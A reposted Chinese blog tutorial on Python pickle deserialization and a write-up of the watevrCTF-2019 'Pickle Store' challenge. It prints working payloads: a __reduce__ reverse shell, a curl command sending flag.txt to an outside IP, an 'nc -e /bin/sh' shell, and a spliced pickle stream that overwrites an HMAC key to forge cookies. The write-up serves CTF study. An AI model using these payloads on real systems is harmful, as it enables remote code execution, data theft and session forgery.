python反序列化-[watevrCTF-2019]Pickle Store

前言:

没技术,是菜逼。

python反序列化简介与利用:

相较于php的反序列化,python的反序列化更容易利用,危害也更大。在php的反序列化漏洞利用中我们必须挖掘复杂的利用链,但python的序列化和反序列化中却不需要那么麻烦,因为python序列化出来的是pickle流,这是一种栈语言,python能够实现的功能它也能实现,引用一下pickle的简介。

先来看一些示例:

import pickle
s = "abcd"
print(pickle.dumps(s))

 在python 2.7.17 下运行 他的输出如下:

 但是在python 3.7.3下运行该脚本的输出如下:

b'\x80\x04\x95\x08\x00\x00\x00\x00\x00\x00\x00\x8c\x04abcd\x94.'

这是因为python2 和 python3 实现的pickle 协议版本不一样,python3 实现的版本是第三版,序列化后的bytes序列第二个字符 \x03 就表示他的pickle 版本为第三版。各个不通的版本实现的PVM操作码不同,但却是向下兼容的 ,比如 python2 序列化输出的字符串 可以放在 python3里正常反序列化,但是 python3 序列化输出的字符串无法在python2 中反序列化。

运行后: 

 能够正常输出 abcd。

不同pickle 版本的操作码及其含义可以在python3 的安装目录里搜索pickle.py查看:如下是一部分操作码:

 解释一下python3输出的pickle 流:

b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

第一个字符 \x80是一个操作码, pickle.py文件中的注释符 说明他的含义是用来声明 pickle版本,后面跟着的\x03x就代表了版本3,随后的x表示后面的四个字节代表了一个数字, 即\x04\x00\x00\x00 值为4  表示下面跟着的utf8编码的字符串长度,即后面跟着的abcd。再往后是q,这个没有查到详细的说明,看注释上的字面意思是后面即\x00是一个字节的参数,但也不知道这个有什么用,我猜测它是用来给参数做索引用的,索引存储在momo区,如果不需要用到取数据,可以把q\x00删掉,这并不影响反序列化,最后的.代表结束,这是每个pickle流末尾都会有的操作符。

看看其他类型的数据序列化后是什么样的:

a=("item1","item2")
b=["item1","item2"]
c={"key1":"value1","key2":"value2"}
print(pickle.dumps(a))
print(pickle.dumps(b))
print(pickle.dumps(c))

 

b'\x80\x03X\x05\x00\x00\x00item1q\x00X\x05\x00\x00\x00item2q\x01\x86q\x02.'
b'\x80\x03]q\x00(X\x05\x00\x00\x00item1q\x01X\x05\x00\x00\x00item2q\x02e.'
b'\x80\x03}q\x00(X\x04\x00\x00\x00key1q\x01X\x06\x00\x00\x00value1q\x02X\x04\x00\x00\x00key2q\x03X\x06\x00\x00\x00value2q\x04u.'

先看 元组 的pickle流,在栈上连续定义了两个字符串最后在结尾加了\x86这个操作码,其含义为"利用栈顶的两个元素(即前面的item1和item2)建立一个元组"

TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items

 后面的q\x02标识该元组在memo的索引,最后是.结束符。后面的q\x02标识该元组在memo的索引,最后是.结束符。

再看list的pickle流,在版本声明的后面是一个]操作符,意思是在栈上建立一个空list,q\x00是这个列表在memo的索引,后面是一个(,这是一个很重要的操作符,它用来标记后面某个操作的参数的边界,在这里其实是用来告诉末尾的e(建立list的操作符),从(开始到e操作符前面的内容用来构建list,(标记前面的内容就不归e操作符管了。最后是.结束符。

最后来看dict的pickle流,在版本声明的后面是一个},表示在栈上建立一个空dict,q\x00表明了这个dict在memo区的索引,后面同样是(标记,后面按照先key后value的属性依次定义数据,并给每个数据定好memo区的索引,最后是u操作符,类似于上面的e操作符,它的含义为利用(标记到u之间的数据构建dict,最后是.操作符。

再看看类:

class D:
    a = 'abcd'
    def hello(self):
        return 'hello'

d = D()
print(pickle.dumps(d))

输出:

b'\x80\x03c__main__\nD\nq\x00)\x81q\x01.'

注意版本声明后面是c操作符,它用来导入模块中的标识符,模块和标识符之间用\n隔开,那么这里的意思就是导入了main模块中的D类,后面的q\x00代表了D类在memo的索引,随后是)在栈上建立一个新的tuple,这个tuple存储的是新建对象时需要提供的参数,因为本例中不需要参数,所以这个tuple为空,后面是\x81操作符,该操作符调用cls.__new__方法来建立对象,该方法接受前面tuple中的参数,本例中为空,注意对象的pickle流中并没有存储对象的数据及方法,而只是存储了建立对象的过程,这和上面的数据类型不太一样。
上面介绍的都是一些数据类型的pickle流,之前说过pickle流能实现python所有的功能,那么怎么才能让pickle流在反序列化中运行任意代码呢,这里就要介绍类的__reduce__这个魔术方法,简单来说,这个方法用来表明类的对象应当如何序列化,当其返回tuple类型时就可以实现任意代码执行,例如下面的例子:

import pickle
import os
class A(object):
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)

运行此脚本,输出:

大概就是 反序列化后 就会触发 __reduce__ 魔术方法。

再来一个反弹shell:

import pickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,)) 

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)

在本地nc监听1234端口,python3运行该脚本,反弹成功:

 输出的pickle流:

b'\x80\x03cposix\nsystem\nq\x00X\xe1\x00\x00\x00python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'q\x01\x85q\x02Rq\x03.'

另外 注意的是  windows 上序列化出来的pickle流 是和linux 上的流是不一样的。

题目-[watevrCTF-2019]Pickle Store:

对于本地,反弹shell是最简单的方法,不需要考虑细节,只需要将上面的pyload 改一改,接收shell的地址,把输出的pickle流编码为 base64 放入发送即可。

import pickle
import base64
class A(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

如果 curl 不行 ,可以用  nc  IP  port   -e  /bin/sh

import pickle
import base64
import os
class A(object):
    def __reduce__(self):
           return (os.system,('nc IP PORT  -e /bin/sh',))
a = A()
print(base64.b64encode(pickle.dumps(a)))

解法二: 覆盖key 并伪造cookie

在介绍解法二之前,先提一个问题,假如py脚本中已经定义了一个变量key,而反序列化的pickle流中包含了给key赋值的操作,那么反序列化后key的值会被覆盖吗,我们来验证一下:

import pickle

key = b'11111111111111111111111111111111'
class A(object):
    def __reduce__(self):
        return (exec,("key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

输出:

b"\x80\x03cbuiltins\nexec\nq\x00X'\x00\x00\x00key=b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."
b'66666666666666666666666666666666'

可以看到 key 值 直接被覆盖了,而本题的源码,情况是类似的,同样也定义了key。

@application.route("/buy", methods=["POST"])
def buy():
    cookies = request.cookies.get("session")
    if not cookies:
        cookies = {"money": 500, "history": []}
    else:
        cookies = pickle.loads(base64.b64decode(cookies)) #这里可以利用反序列化覆盖key
        digest = cookies["anti_tamper_hmac"]
        del cookies["anti_tamper_hmac"]
        h = hmac.new(key)
        h.update(str(cookies).encode())
        if not hmac.compare_digest(h.digest().hex(), digest):
            cookies = {"money": 500, "history": []}

    assert "id" in request.form
    cookie_id = int(request.form["id"])
    if all_cookies[cookie_id]["price"] <= cookies["money"]:
        cookies["money"] -= all_cookies[cookie_id]["price"]
        cookies["history"].append(all_cookies[cookie_id]["text"])

    resp = make_response(redirect("/"))
    h = hmac.new(key)
    h.update(str(cookies).encode())
    cookies["anti_tamper_hmac"] = h.digest().hex()
    resp.set_cookie("session", base64.b64encode(pickle.dumps(cookies)))
    return resp

那么如果我们利用反序列化覆盖掉key,那么不就可以任意伪造cookie了吗?

pyload:

import pickle

key = b'11111111111111111111111111111111'
class A(object):
    def __reduce__(self):
        return (exec,("global key;key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

注意   pyload 里需要加上 global 否则无法成功覆盖,因为flask中定义的key是全局变量,而反序列化操作却是再buy函数内部进行的。

b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."

再将输出的pickle流base64编码后发送给本地flask环境,key果然被成功覆盖了(调试的话可以在index或buy路由的反序列化代码后添加print(key)即可在flask服务端打印出key):

 下一步就是用覆盖key 伪造cookie 了。 这次不需要使用到回调函数,只需要把伪造的pyload 序列化出来就可以了,所以用不到 __reduce__。

import pickle
import hmac

key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)

这里把余额设置为10000,并用我们自己的key来给cookie做签名,得到的pickle流:

然后问题就来了,由于我们覆盖的key只能在本次请求中生效,所以我们伪造的cookie也必须在覆盖key的请求中一起发送过去,覆盖key的payload我们是使用__reduce__方式生成的,而伪造cookie的操作我们是直接序列化cookie生成的,怎么把这两个操作合并起来呢,这个payload应该怎么写呢,其实很简单,依据上面对pickle流的介绍:最终留在栈顶的值将被作为反序列化对象返回。所以我们只需要把第一个pickle流结尾表示结束的.去掉,把第二个pickle开头的版本声明去掉,两者拼接起来即可:
第一个pickle流:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}."
第二个pickle流:
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
按所说方法拼接:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."

base64编码后,抓下购买flag的包,修改其中的cookie发送:

 将返回的cookie反序列化:

import pickle
import base64

print(pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTSgjWAcAAABoaXN0b3J5cQJdcQNYKwAAAGZsYWd7MjM1NzllOTMtNjBmNi00YWIyLWIyOGMtYjIxMTg1NDhjYTlmfQpxBGFYEAAAAGFudGlfdGFtcGVyX2htYWNxBVggAAAANzQ1ZmVkMjk1MmIzM2YwOGVhYjhiZWU4ZGI2NWE3ZTlxBnUu')))

 

转载至:利用python反序列化覆盖秘钥——watevrCTF-2019:Pickle Store的第二种解法 - 先知社区 (aliyun.com)

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值